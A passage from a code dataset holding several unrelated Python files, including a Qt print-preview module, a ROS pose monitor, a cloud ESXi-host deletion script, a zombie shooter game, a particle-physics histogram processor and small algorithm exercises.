printer: a :class:`QtGui.QPrinter`\n :param gui_context: the :class:`camelot.admin.action.base.GuiContext` to \n pass to the actions \n :param actions: a list of :class:`camelot.admin.action.base.Action` objects\n :param parent: a :class:`QtGui.QWidget`\n :param flags: a :class:`Qt.WindowFlags`\n \"\"\"\n \n def __init__( self, printer, gui_context, \n actions = [], parent = None, flags = 0 ):\n super( PrintPreviewDialog, self ).__init__( printer, parent, flags )\n toolbar = self.findChild( QtGui.QToolBar )\n self.gui_context = gui_context\n for action in actions:\n qaction = action.render( self.gui_context, toolbar )\n qaction.triggered.connect( self.action_triggered )\n toolbar.addAction( qaction )\n self.paintRequested.connect( self.paint_on_printer )\n \n @QtCore.pyqtSlot( bool )\n def action_triggered( self, _checked = False ):\n action_action = self.sender()\n action_action.action.gui_run( self.gui_context ) \n preview_widget = self.findChild( QtGui.QPrintPreviewWidget )\n preview_widget.updatePreview()\n \n @QtCore.pyqtSlot( QtGui.QPrinter )\n def paint_on_printer( self, printer ):\n self.gui_context.document.print_( printer )\n\nclass PrintPreview( ActionStep ):\n \"\"\"\n Display a print preview dialog box.\n \n :param document: an instance of :class:`QtGui.QTextDocument` or \n :class:`QtWebKit.QWebView` that has a :meth:`print_` method. The\n thread affinity of this object will be changed to be able to use it\n in the GUI.\n \n the print preview can be customised using these attributes :\n \n .. attribute:: margin_left\n\n change the left margin of the content to the page border, unit is set by margin_unit\n\n .. attribute:: margin_top\n\n change the top margin of the content to the page border, unit is set by margin_unit \n\n .. attribute:: margin_right\n\n change the right margin of the content to the page border, unit is set by margin_unit\n\n .. attribute:: margin_bottom\n\n change the bottom margin of the content to the page border, unit is set by margin_unit\n\n .. attribute:: margin_unit\n\n defin which unit is used for the defined margins (e.g. margin_left, margin_bottom)\n\n .. attribute:: page_size\n \n the page size, by default :class:`QtGui.QPrinter.A4` is used\n \n .. attribute:: page_orientation\n \n the page orientation, by default :class:`QtGui.QPrinter.Portrait`\n is used.\n \n .. attribute:: document\n \n the :class:`QtGui.QTextDocument` holding the document that will be shown in the print\n preview\n \n .. image:: /_static/simple_report.png\n \"\"\"\n \n def __init__( self, document ):\n self.document = document\n self.document.moveToThread( QtCore.QCoreApplication.instance().thread() )\n self.printer = None\n self.margin_left = None\n self.margin_top = None\n self.margin_right = None\n self.margin_bottom = None\n self.margin_unit = QtGui.QPrinter.Millimeter\n self.page_size = None\n self.page_orientation = None\n\n def get_printer( self ):\n if not self.printer:\n self.printer = QtGui.QPrinter()\n if not self.printer.isValid():\n self.printer.setOutputFormat( QtGui.QPrinter.PdfFormat )\n return self.printer\n\n def config_printer( self ):\n self.printer = self.get_printer()\n if self.page_size != None:\n self.printer.setPageSize( self.page_size )\n if self.page_orientation != None:\n self.printer.setOrientation( self.page_orientation )\n if None not in [self.margin_left, self.margin_top, self.margin_right, self.margin_bottom, self.margin_unit]:\n self.printer.setPageMargins( self.margin_left, self.margin_top, self.margin_right, self.margin_bottom, self.margin_unit )\n return self.printer\n\n def render( self, gui_context ):\n \"\"\"create the print preview widget. this method is used to unit test\n the action step.\"\"\"\n self.config_printer()\n gui_context = gui_context.copy( DocumentActionGuiContext )\n gui_context.document = self.document\n dialog = PrintPreviewDialog( self.printer, \n gui_context, \n actions = [EditDocument()],\n flags = QtCore.Qt.Window )\n # show maximized seems to trigger a bug in qt which scrolls the page \n # down dialog.showMaximized()\n resize_widget_to_screen( dialog )\n return dialog\n \n def gui_run( self, gui_context ):\n dialog = self.render( gui_context )\n dialog.exec_()\n \n def get_pdf( self ):\n self.config_printer()\n self.printer.setOutputFormat( QtGui.QPrinter.PdfFormat )\n filepath = OpenFile.create_temporary_file('.pdf')\n self.printer.setOutputFileName(filepath)\n self.document.print_(self.printer)\n return filepath \n\nclass ChartDocument( QtCore.QObject ):\n \"\"\"Helper class to print matplotlib charts\n\n :param chart: a :class:`camelot.container.chartcontainer.FigureContainer` object\n or a :class:`camelot.container.chartcontainer.AxesContainer` subclass\n\n \"\"\"\n \n def __init__( self, chart ):\n from camelot.container.chartcontainer import structure_to_figure_container\n super( ChartDocument, self ).__init__()\n self.chart = structure_to_figure_container( chart )\n \n def print_( self, printer ):\n from matplotlib.figure import Figure\n from matplotlib.backends.backend_qt4agg import FigureCanvasQTAgg as FigureCanvas\n rect = printer.pageRect( QtGui.QPrinter.Inch )\n dpi = printer.resolution()\n fig = Figure( facecolor='#ffffff')\n fig.set_size_inches( ( rect.width(), rect.height() ) )\n fig.set_dpi( dpi )\n self.chart.plot_on_figure( fig )\n canvas = FigureCanvas( fig )\n canvas.render( printer ) \n \nclass PrintChart( PrintPreview ):\n \"\"\"\n Display a print preview dialog box for a matplotlib chart.\n \n :param chart: a :class:`camelot.container.chartcontainer.FigureContainer` object\n or a :class:`camelot.container.chartcontainer.AxesContainer` subclass\n \n Example use of this action step :\n \n .. literalinclude:: ../../../test/test_action.py\n :start-after: begin chart print\n :end-before: end chart print\n \"\"\"\n\n def __init__( self, chart ):\n super( PrintChart, self ).__init__( ChartDocument( chart ) )\n \nclass PrintHtml( PrintPreview ):\n \"\"\"\n Display a print preview dialog box for an html string.\n \n :param html: a string containing the html to render in the print\n preview.\n \n the rendering of the html can be customised using the same attributes\n as those of the :class:`PrintPreview` class.\n \"\"\"\n \n def __init__( self, html ):\n document = QtGui.QTextDocument()\n document.setHtml( html )\n super( PrintHtml, self ).__init__( document )\n\nclass PrintJinjaTemplate( PrintHtml ):\n \"\"\"Render a jinja template into a print preview dialog.\n \n :param template: the name of the template as it can be fetched from\n the Jinja environment.\n \n :param context: a dictionary with objects to be used when rendering\n the template\n \n :param environment: a :class:`jinja2.Environment` object to be used\n to load templates from. This defaults to the `environment` object\n available in :mod:`camelot.core.templates`\n \"\"\"\n \n def __init__( self,\n template, \n context={},\n environment = environment ):\n self.template = environment.get_template( template )\n self.html = self.template.render( context )\n self.context = context\n super( PrintJinjaTemplate, self).__init__( self.html )\n","repo_name":"jeroendierckx/Camelot","sub_path":"camelot/view/action_steps/print_preview.py","file_name":"print_preview.py","file_ext":"py","file_size_in_byte":8643,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"62"} +{"seq_id":"74246583558","text":"#!/usr/bin/env python\nfrom numpy import right_shift\nimport rospy\n\nfrom nav_msgs.msg import Path\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import PoseStamped\nfrom rospy.topics import Subscriber\nfrom std_msgs.msg import Int16\nfrom geometry_msgs.msg import Twist\nimport tf\nfrom gazebo_msgs.srv import GetModelState\n\n\n\n\n\nclass PoseMonitor():\n\n def __init__(self):\n\n self.x = 0.0\n self.y = 0.0 \n\n self.total = 1\n self.rights = 0\n\n rospy.init_node('pose_monitor', anonymous=True)\n\n self.odom_sub = rospy.Subscriber('/odom', Odometry, self.callback_odometry)\n\n\n self.report_pose = False\n\n print(\"Wait for service ....\")\n rospy.wait_for_service(\"gazebo/get_model_state\")\n \n print(\" ... Got it!\")\n \n self.get_ground_truth = rospy.ServiceProxy(\"gazebo/get_model_state\", GetModelState)\n\n self.path = Path()\n\n self.path_pub = rospy.Publisher('/path', Path, queue_size=10)\n\n self.final = rospy.Subscriber('/final', Int16, self.final_round)\n \n \n def callback_odometry(self, msg):\n global x\n global y\n \n global path\n\n self.path.header = msg.header\n pose = PoseStamped()\n pose.header = msg.header\n pose.pose = msg.pose.pose\n self.path.poses.append(pose)\n self.path_pub.publish(self.path)\n\n self.x = msg.pose.pose.position.x\n self.y = msg.pose.pose.position.y\n\n \n\n def quaternion_to_euler(self, msg):\n quaternion = (msg.pose.pose.orientation.x, msg.pose.pose.orientation.y, msg.pose.pose.orientation.z, msg.pose.pose.orientation.w)\n (roll, pitch, yaw) = tf.transformations.euler_from_quaternion(quaternion)\n #print (\"Roll: %5.2f Pitch: %5.2f Yaw: %5.2f\" % (roll, pitch, yaw))\n\n def final_round(self, msg):\n global x, y\n global rights, total\n \n print(\"reached final round\")\n print(\"Calculating...\")\n\n if round(self.x,1)==-1.5 and (round(self.y,1)>=-1.5 or round(self.y,1)<=1.5):\n self.rights = self.rights + 1\n if round(self.y,1)==1.5 and (round(self.x,1)>=-1.5 or round(self.x,1)<=1.5):\n self.rights = self.rights + 1\n if round(self.x,1)==1.5 and (round(self.y,1)>=-1.5 or round(self.y,1)<=1.5):\n self.rights = self.rights + 1\n if round(self.y,1)==-1.5 and (round(self.x,1)>=-1.5 or round(self.x,1)<=1.5):\n self.rights = self.rights + 1\n self.total += 1\n\n print(\"Error Rate: \"+ str(self.rights/self.total *100))\n\n\n \nif __name__ == '__main__':\n\n PoseMonitor()\n rospy.spin()\n","repo_name":"ArshiaRahimi/Turtlebot3-Square-Path-Follower","sub_path":"homeWork1/src/pose_monitor.py","file_name":"pose_monitor.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"30138040712","text":"\"\"\"\nP16 (**) Drop every Nth element from a list.\nExample:\n\nscala> drop(3, List('a, 'b, 'c, 'd, 'e, 'f, 'g, 'h, 'i, 'j, 'k))\nres0: List[Symbol] = List('a, 'b, 'd, 'e, 'g, 'h, 'j, 'k)\n\"\"\" \n\n\ndef drop(n, l):\n new_list = []\n\n for (i, elem) in enumerate(l): \n \n if (i+1)%n==0:\n continue\n else:\n new_list.append(elem) \n\n return new_list\n\n\nin_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k']\nprint('Input: {}'.format(in_list))\n\nout = drop(3, in_list)\nprint('Output: {}'.format(out))\n","repo_name":"llrt/python-99problems","sub_path":"P16-drop_every_n_element/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"44923450930","text":"#This script will delete the ESXi host. Input the ESXi host OCID\n\nimport oci\nimport sys\n\n# Create a default config using DEFAULT profile in default location\nconfig = oci.config.from_file()\n\n\n# Initialize service client with default config file\nocvp_client = oci.ocvp.EsxiHostClient(config)\n\n\nsid = input(\"Enter the SDDC OCID:\")\nprint(\"The OCID of the ESXi that you want to delete is:\", sid)\n\n# Send the request to service, some parameters are not required, see API\n# doc for more info\ndelete_esxi_host_response = ocvp_client.delete_esxi_host(\n esxi_host_id=sid,\n if_match=\"EXAMPLE-ifMatch-Value\",\n opc_request_id=\"LQZOYKRPO0YBOXSHIK4F\")\n\n# Get the data from response\nprint(delete_esxi_host_response.headers)","repo_name":"praveenworkacct/Scripts","sub_path":"Delete_ESXi.py","file_name":"Delete_ESXi.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21731164012","text":"'''\nKevin Cantu\nJune 2012\n'''\n\nimport string\nimport json\nimport codecs\nfrom triad.words import saveWords\n\ndef bookToWords(bookPath, wordsPath):\n '''\n Read a file with text (a book) and \n write out the vocabulary into a file of JSON.\n '''\n\n words = openBook(bookPath)\n uwords = uniqueWords(words)\n saveWords(wordsPath, uwords)\n\ndef uniqueWords(words):\n uniques = {}\n\n for w in words:\n if w in uniques:\n uniques[w] += 1\n else:\n uniques[w] = 1\n\n return uniques.keys()\n\ndef openBook(path):\n src = codecs.open(path, \"r\", \"utf-8\")\n text = src.read()\n src.close()\n text_ = \"\".join(map(replacements, text))\n words = text_.split()\n return filter(notEmpty, filter(freqFilter, map(adjustCase, words)))\n\ndef replacements(ch):\n # I don't think this is unicode safe yet...\n if ch in string.punctuation:\n return \" \"\n elif not ch in string.printable:\n return \" \"\n else:\n return ch\n\ndef adjustCase(word):\n return word.lower()\n\ndef notEmpty(word):\n # remove empty words\n # remove single-letter words\n return len(word) > 1\n\ndef freqFilter(word):\n # 100 most common english words...\n mostCommon = [\n \"the\", \"be\", \"to\", \"of\", \"and\", \"a\", \"in\", \"that\", \"have\", \"I\", \n \"it\", \"for\", \"not\", \"on\", \"with\", \"he\", \"as\", \"you\", \"do\", \"at\", \n \"this\", \"but\", \"his\", \"by\", \"from\", \"they\", \"we\", \"say\", \"her\", \"she\", \n \"or\", \"an\", \"will\", \"my\", \"one\", \"all\", \"would\", \"there\", \"their\", \"what\", \n \"so\", \"up\", \"out\", \"if\", \"about\", \"who\", \"get\", \"which\", \"go\", \"me\", \n \"when\", \"make\", \"can\", \"like\", \"time\", \"no\", \"just\", \"him\", \"know\", \"take\", \n \"person\", \"into\", \"year\", \"your\", \"good\", \"some\", \"could\", \"them\", \"see\", \"other\", \n \"than\", \"then\", \"now\", \"look\", \"only\", \"come\", \"its\", \"over\", \"think\", \"also\", \n \"back\", \"after\", \"use\", \"two\", \"how\", \"our\", \"work\", \"first\", \"well\", \"way\",\n \"even\", \"new\", \"want\", \"because\", \"any\", \"these\", \"give\", \"day\", \"most\", \"us\"\n ]\n\n return not word in mostCommon\n\n\n","repo_name":"killerswan/triad","sub_path":"py/triad/words_en.py","file_name":"words_en.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"72527874116","text":" #! /usr/bin/env python\n# -*- coding: utf-8 -*-\nimport pilasengine\nimport random\n\nTIEMPO = 6\nfin_de_juego = False\n\npilas = pilasengine.iniciar()\n# Usar un fondo estándar\npilas.fondos.Pasto()\n# Añadir un marcador\npuntos = pilas.actores.Puntaje(x=230, y=200, color=pilas.colores.blanco)\npuntos.magnitud = 40\n# Añadir el conmutador de Sonido\npilas.actores.Sonido()\n\n# Variables y Constantes\nbalas_simples = pilas.actores.Bala\nzombies = []\n\n#Crear el personaje enemigo\n \nclass zombie(pilasengine.actores.Actor): \n def iniciar(self):\n self.imagen = \"superzombi.png\"\n self.x =0\n self.y = 0\n self.escala = 0.1\n self.radio_de_colision=16\npilas.actores.vincular(zombie)\n\n #Hacer que el enemigo siga al jugador \nclass SeguirAOtro(pilasengine.habilidades.Habilidad):\n\n def iniciar(self, receptor, actor_perseguido, velocidad):\n self.receptor = receptor\n self.otro = actor_perseguido\n self.velocidad = velocidad\n x_pos=random.randint(0,1)\n y_pos=random.randint(0,1)\n y_delta = random.randrange(200, 300)\n x_delta = random.randrange(200, 300)\n \n if x_pos == 0:\n self.receptor.x = self.otro.x + x_delta\n if x_pos == 1:\n self.receptor.x = self.otro.x - x_delta\n\n if y_pos == 0:\n self.receptor.y = self.otro.y + y_delta\n if y_pos == 1:\n self.receptor.y = self.otro.y - y_delta\n \n \n \n def actualizar(self):\n if self.receptor:\n if self.receptor.x > self.otro.x: \n self.receptor.x -= self.velocidad\n else:\n self.receptor.x += self.velocidad\n\n if self.receptor.y > self.otro.y:\n self.receptor.y -= self.velocidad\n else:\n self.receptor.y += self.velocidad\n\n \n \npilas.habilidades.vincular(SeguirAOtro)\n# Funciones\ndef zombie_destruido(enemigo,disparo):\n global zombies \n disparo.eliminar()\n enemigo.eliminar()\n #zombies.remove(enemigo)\n puntos.aumentar()\n puntos.escala = 1\n\ndef crear_zombie():\n if not fin_de_juego:\n # Crear un enemigo nuevo\n enemigo = pilas.actores.zombie()\n # Hacer que se aparición sea con un efecto bonito\n ##la escala varíe entre 0,25 y 0,75 (Ojo con el radio de colisión)\n enemigo.escala = 0.3\n enemigo.aprender(pilas.habilidades.SeguirAOtro, sobreviviente, 1)\n enemigo.aprender(pilas.habilidades.MirarAlActor, sobreviviente)\n\n # Dotarle de la habilidad de que explote al ser alcanzado por un disparo\n enemigo.aprender(pilas.habilidades.PuedeExplotarConHumo)\n\n # Dotarlo de un movimiento irregular más impredecible\n tipo_interpolacion = ['lineal',\n 'aceleracion_gradual',\n 'desaceleracion_gradual',\n 'rebote_inicial',\n 'rebote_final']\n \n duracion = 1 +random.random()*4\n \n #pilas.utils.interpolar(enemigo, 'x', 0, duracion)\n #pilas.utils.interpolar(enemigo, 'y', 0, duracion)\n #enemigo.x = pilas.interpolar(0,tiempo,tipo=random.choice(tipo_interpolacion))\n #enemigo.y = pilas.interpolar(0, tiempo,tipo=random.choice(tipo_interpolacion))\n # Añadirlo a la lista de enemigos\n zombies.append(enemigo)\n # Permitir la creación de enemigos mientras el juego esté en activo\n \n return True\n else:\n return False\n\n\n# Crear al jugador\n\nclass sobreviviente(pilasengine.actores.Actor): \n def iniciar(self):\n self.imagen = \"sobreviviente.png\"\n self.x =0\n self.y = 0\n self.escala = 0.1\n self.radio_de_colision=10\n \npilas.actores.vincular(sobreviviente)\n\nsobreviviente = pilas.actores.sobreviviente()\nsobreviviente.escala = 0.6\nsobreviviente.aprender(\"MoverseConElTeclado\")\nsobreviviente.aprender(\"RotarConMouse\")\nsobreviviente.aprender(\"DispararConClick\",grupo_enemigos=zombies,cuando_elimina_enemigo=zombie_destruido, angulo_salida_disparo= 90, frecuencia_de_disparo= 2, municion= \"Misil\")\n\ntcz = pilas.tareas.agregar(0.5, crear_zombie)\n#pilas.mundo.agregar_tarea(1, crear_mono) <-- sintaxis vieja\n\ndef perder(sobreviviente,enemigo):\n global fin_de_juego, tcz, zombies\n fin_del_juego= True \n #tcz.terminar()\n for zombie in zombies:\n zombie.eliminar()\n tcz.terminar()\n sobreviviente.eliminar()\n avisar = pilas.actores.Texto(\"PERDISTEEE, conseguiste %d puntos\" % (puntos.obtener()))\n avisar.escala = [1,0,2,1,0,2,1,0,2,1,0,2,1]\n\n \npilas.colisiones.agregar(sobreviviente, zombies, perder)\n\n# Arrancar el juego\n\npilas.ejecutar()\n","repo_name":"ITS2015-Programacion1/Grupo16","sub_path":"codigos para pilas/massivekill.py","file_name":"massivekill.py","file_ext":"py","file_size_in_byte":4766,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28072709887","text":"import numpy as np\nimport awkward as ak\nimport uproot\nfrom coffea.nanoevents import NanoEventsFactory, TreeMakerSchema, BaseSchema\nfrom coffea import hist, processor\nfrom coffea.nanoevents.methods import candidate\nimport matplotlib.pyplot as plt\nimport mplhep\n\nplt.style.use(mplhep.style.ROOT)\nak.behavior.update(candidate.behavior)\n\n\nclass TreeMakerProcessor(processor.ProcessorABC):\n def __init__(self):\n self._accumulator = processor.dict_accumulator(\n {\n \"sumw\": processor.defaultdict_accumulator(float),\n \"nTracks\": hist.Hist(\n \"Events\",\n hist.Cat(\"dataset\", \"Dataset\"),\n hist.Bin(\"nTracks\", \"multiplicity\", 50, 0, 250),\n ),\n }\n )\n\n @property\n def accumulator(self):\n return self._accumulator\n\n def process(self, events):\n output = self.accumulator.identity()\n\n dataset = events.metadata[\"dataset\"]\n\n integratedLuminosity = 137.19 * 1000 # fb^{-1} to pb^{-1}\n\n ht = events.HT\n weights = integratedLuminosity * events.CrossSection[ht > 1200] / len(events)\n GenParticles_pt = events.GenParticles.pt\n GenParticles_eta = events.GenParticles.eta\n GenParticles_Status = events.GenParticles.Status\n GenParticles_PdgId = events.GenParticles.PdgId\n GenParticles_Charge = events.GenParticles.Charge\n finalParticles = (\n (GenParticles_Status == 1)\n & (GenParticles_pt > 1)\n & (abs(GenParticles_eta) < 2.5)\n & (GenParticles_Charge != 0)\n )\n nTracks = ak.sum(finalParticles[ht > 1200], axis=1)\n\n output[\"sumw\"][dataset] += len(events)\n output[\"nTracks\"].fill(dataset=dataset, nTracks=nTracks, weight=weights)\n\n return output\n\n def postprocess(self, accumulator):\n return accumulator\n\n\nclass PythiaProcessor(processor.ProcessorABC):\n def __init__(self):\n self._accumulator = processor.dict_accumulator(\n {\n \"sumw\": processor.defaultdict_accumulator(float),\n \"nTracks\": hist.Hist(\n \"Events\",\n hist.Cat(\"dataset\", \"Dataset\"),\n hist.Bin(\"nTracks\", \"multiplicity\", 50, 0, 250),\n ),\n }\n )\n\n @property\n def accumulator(self):\n return self._accumulator\n\n def process(self, events):\n output = self.accumulator.identity()\n\n dataset = events.metadata[\"dataset\"]\n\n nTracks = events.nTracks\n\n output[\"sumw\"][dataset] += len(events)\n output[\"nTracks\"].fill(\n dataset=dataset,\n nTracks=nTracks,\n )\n\n return output\n\n def postprocess(self, accumulator):\n return accumulator\n\n\ntmFileset = {\n \"CMSSW CUETPM81\": [\n \"/Users/chrispap/QCD/new/Autumn18.QCD_HT1000to1500_TuneCP5_13TeV-madgraphMLM-pythia8_0_RA2AnalysisTree.root\",\n \"/Users/chrispap/QCD/new/Autumn18.QCD_HT1500to2000_TuneCP5_13TeV-madgraphMLM-pythia8_0_RA2AnalysisTree.root\",\n \"/Users/chrispap/QCD/new/Autumn18.QCD_HT2000toInf_TuneCP5_13TeV-madgraphMLM-pythia8_0_RA2AnalysisTree.root\",\n ],\n}\n\n\nif __name__ == \"__main__\":\n tmOut = processor.run_uproot_job(\n tmFileset,\n treename=\"TreeMaker2/PreSelection\",\n processor_instance=TreeMakerProcessor(),\n executor=processor.futures_executor,\n executor_args={\"schema\": TreeMakerSchema, \"workers\": 4},\n chunksize=100000,\n )\n","repo_name":"chrispap95/EventShapes","sub_path":"CoffeaCode/comparison.py","file_name":"comparison.py","file_ext":"py","file_size_in_byte":3534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22545090595","text":"import math\nimport numpy as np\nimport sys\nimport time\n# import pynmea2\n# import serial\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtWidgets import QApplication, QVBoxLayout, QHBoxLayout, QWidget\nfrom pyqtlet import L, MapWidget\nimport geopy\nfrom geopy.distance import geodesic\nfrom geographiclib.geodesic import Geodesic\nfrom shapely.geometry import Point, Polygon\nfrom classes.GNSS import GNSS\nfrom classes.BNO055 import IMU\n\nclass Window(QWidget):\n def __init__(self, parent=None):\n super(Window, self).__init__(parent=parent)\n self.setWindowTitle(\"Title\")\n # self.timer = QTimer()\n # self.timer.setInterval(1000)\n # self.timer.timeout.connect(self.read_gps_data)\n # self.timer.start()\n\n self.imu = IMU()\n self.gnss = GNSS()\n self.vehicleLocation = self.Node(None, None)\n\n self.buttonMode = \"\"\n self.colorNumber = 0\n self.colorCodes = [\"#FF0000\", \"#FFC900\", \"#8FFF00\", \"#00FF3A\", \"#00FFC5\", \"#00B2FF\", \"#0049FF\", \"#8F00FF\",\n \"#2A7C7A\", \"#606120\", \"#3E6632\"]\n self.timeStart = None\n self.timePathFin = None\n self.timeDrawFin = None\n\n self.startMarker = None\n self.goalMarker = None\n self.current_marker = None\n\n self.start_node = None\n self.goal_node = None\n self.open_set, self.closed_set = dict(), dict()\n self.obstacleList = []\n\n self.stepSize = 1\n self.obstacleRadius = 10\n\n self.geodesic = geodesic()\n\n self.mapWidget = MapWidget()\n self.map = L.map(self.mapWidget,\n {\"maxZoom\": 18,\n \"minZoom\": 1,\n \"zoomDelta\": 1,\n \"touchZoom\": False,\n \"zoomControl\": False,\n \"doubleClickZoom\": False,\n \"scrollWheelZoom\": True,\n \"attributionControl\": False,\n \"drawCircleControl\": False\n })\n self.map.setView([39.973734, 32.761588], 18)\n L.tileLayer('http://{s}.tile.osm.org/{z}/{x}/{y}.png').addTo(self.map)\n self.map.clicked.connect(self.map_click)\n\n layout = QHBoxLayout()\n info_layout = QVBoxLayout()\n right_layout = QVBoxLayout()\n bottom_layout = QHBoxLayout()\n x_coordinate_layout = QVBoxLayout()\n y_coordinate_layout = QVBoxLayout()\n\n right_layout.setAlignment(Qt.AlignTop)\n\n self.lbl_x_coordinate_vehicle = QLabel()\n self.lbl_y_coordinate_vehicle = QLabel()\n self.lbl_x_coordinate_goal = QLabel()\n self.lbl_y_coordinate_goal = QLabel()\n\n btn_start = QPushButton(\"Start\")\n btn_goal = QPushButton(\"Goal\")\n btn_step = QPushButton(\"Step\")\n btn_obstacle = QPushButton(\"Obstacle\")\n btn_start.clicked.connect(self.start_btn_clicked)\n btn_goal.clicked.connect(self.goal_btn_clicked)\n btn_step.clicked.connect(self.run)\n btn_obstacle.clicked.connect(self.obstacle_btn_clicked)\n\n layout.addLayout(info_layout)\n layout.addLayout(right_layout)\n info_layout.addWidget(self.mapWidget)\n info_layout.addLayout(bottom_layout)\n right_layout.addWidget(btn_start)\n right_layout.addWidget(btn_goal)\n right_layout.addWidget(btn_step)\n right_layout.addWidget(btn_obstacle)\n bottom_layout.addLayout(x_coordinate_layout)\n bottom_layout.addLayout(y_coordinate_layout)\n x_coordinate_layout.addWidget(self.lbl_x_coordinate_vehicle)\n x_coordinate_layout.addWidget(self.lbl_x_coordinate_goal)\n y_coordinate_layout.addWidget(self.lbl_y_coordinate_vehicle)\n y_coordinate_layout.addWidget(self.lbl_y_coordinate_goal)\n\n self.setLayout(layout)\n self.show()\n\n\n\n def start_btn_clicked(self):\n self.buttonMode = \"START\"\n if self.startMarker is not None:\n self.map.removeLayer(self.startMarker)\n\n\n def goal_btn_clicked(self):\n self.buttonMode = \"GOAL\"\n if self.goalMarker is not None:\n self.map.removeLayer(self.goalMarker)\n\n def map_click(self, json_point):\n # print(json_point)\n point = json_point[\"latlng\"][\"lat\"], json_point[\"latlng\"][\"lng\"]\n\n if self.buttonMode == \"START\":\n startPoint = [round(float(point[0]), 6), round(float(point[1]), 6)]\n self.lbl_x_coordinate_vehicle.setText(\"Start X : \" + str(startPoint[0]))\n self.lbl_y_coordinate_vehicle.setText(\"Start Y : \" + str(startPoint[1]))\n self.startMarker = L.circleMarker(startPoint, {\"color\": \"#3FF00F\", \"radius\": 5})\n self.startMarker.bindPopup('START')\n self.map.addLayer(self.startMarker)\n self.start_node = self.Node(latitude=startPoint[0], longitude=startPoint[1])\n ##@@print(startPoint)\n\n elif self.buttonMode == \"GOAL\":\n goalPoint = [round(float(point[0]), 6), round(float(point[1]), 6)]\n self.lbl_x_coordinate_goal.setText(\"Goal X : \" + str(goalPoint[0]))\n self.lbl_y_coordinate_goal.setText(\"Goal Y : \" + str(goalPoint[1]))\n self.goalMarker = L.circleMarker(goalPoint, {\"color\": '#F0370F', \"radius\": 5})\n self.goalMarker.bindPopup('GOAL')\n self.map.addLayer(self.goalMarker)\n self.goal_node = self.Node(latitude=goalPoint[0], longitude=goalPoint[1])\n\n class Node:\n def __init__(self, latitude, longitude):\n self.latitude = latitude # index of grid\n self.longitude = longitude # index of grid\n\n def get_location(self):\n return self.gnss.read_gps_data()\n\n def get_imu(self):\n a = self.imu.get_euler()\n return a[0]\n\n def run(self):\n while True:\n location = self.get_location()\n self.vehicleLocation.latitude = location[0]\n self.vehicleLocation.longitude = location[1]\n heading = Geodesic.WGS84.Inverse(self.vehicleLocation.latitude, self.vehicleLocation.longitude, self.goal_node.latitude, self.goal_node.longitude)\n","repo_name":"enessitki/wikiHow","sub_path":"tubitak-a-star/Heading_Test_On_Vehicle.py","file_name":"Heading_Test_On_Vehicle.py","file_ext":"py","file_size_in_byte":6191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74168094598","text":"import sys\n\nsys.stdin = open('sample_input.txt')\n\nT = int(input())\n\n\nfor tc in range(1, T+1):\n # P: 총 페이지, Pa: A가 찾을 페이지 Pb: B가 찾을 페이지\n P, Pa, Pb = map(int, input().split())\n start_a = start_b = 1\n end_a = end_b = P\n count_a = 0 # 횟수 초기화\n count_b = 0 # 횟수 초기화\n # A 케이스\n while start_a <= end_a:\n count_a += 1\n mid_a = (start_a + end_a) // 2\n if Pa == mid_a:\n break\n elif Pa > mid_a:\n start_a = mid_a\n elif Pa < mid_a:\n end_a = mid_a\n # B 케이스\n while start_b <= end_b:\n count_b += 1\n mid_b = (start_b + end_b) // 2\n if Pb == mid_b:\n break\n elif Pb > mid_b:\n start_b = mid_b\n elif Pb < mid_b:\n end_b = mid_b\n\n print(count_b,count_a)\n if count_a < count_b:\n print(f'#{tc} A')\n elif count_b < count_a:\n print(f'#{tc} B')\n else:\n print(f'#{tc} 0')","repo_name":"Cr-Mo-Marco-3000/Algorithm","sub_path":"SWEA/4839_이진탐색/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"35373125030","text":"#PER AJUSTAR LA FINSTRA A LA MIDA DE LA PANTALLA\r\n#import tkinter as tk\r\n#root = tk.Tk()\r\n#WIDTH = int(root.winfo_screenwidth()*0.75)\r\n#HEIGHT = int(root.winfo_screenheight()*0.75)\r\n\r\nTITLE = \"Super Clash of Heroes\"\r\nWIDTH = 900\r\nHEIGHT = 900\r\nFPS = 60\r\nFONT = 'arial'\r\n\r\n# define colors\r\nWHITE = (255, 255, 255)\r\nGREY = (50,50,50)\r\nBLACK = (0, 0, 0)\r\nRED = (255, 0, 0)\r\nGREEN = (0, 255, 0)\r\nBLUE = (0, 0, 255)\r\nYELLOW = (255, 255, 0)\r\nLIGHTBLUE = (153, 255, 255)\r\n\r\n\r\n\r\n","repo_name":"ivans14/Super-Smash","sub_path":"scripts/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9695417991","text":"from random import randint, choice\nimport copy\n\nCAMELS = [1, 2, 3, 4, 5]\nCAMEL_COLOUR_TO_ID = {\n \"orange\": 1,\n \"green\": 2,\n \"blue\": 3,\n \"yellow\": 4,\n \"white\": 5\n}\nCAMEL_ID_TO_COLOUR = dict(reversed(item) for item in CAMEL_COLOUR_TO_ID.items())\n\n# Camel on right-hand-side is on top\nGAMEBOARD_FROM_COLOURS = [\n [], # 1\n [\"yellow\", \"orange\"], # 2\n [\"blue\", \"white\"], # 3\n [], # 4\n [\"green\"], # 5\n [], # 6\n [], # 7\n 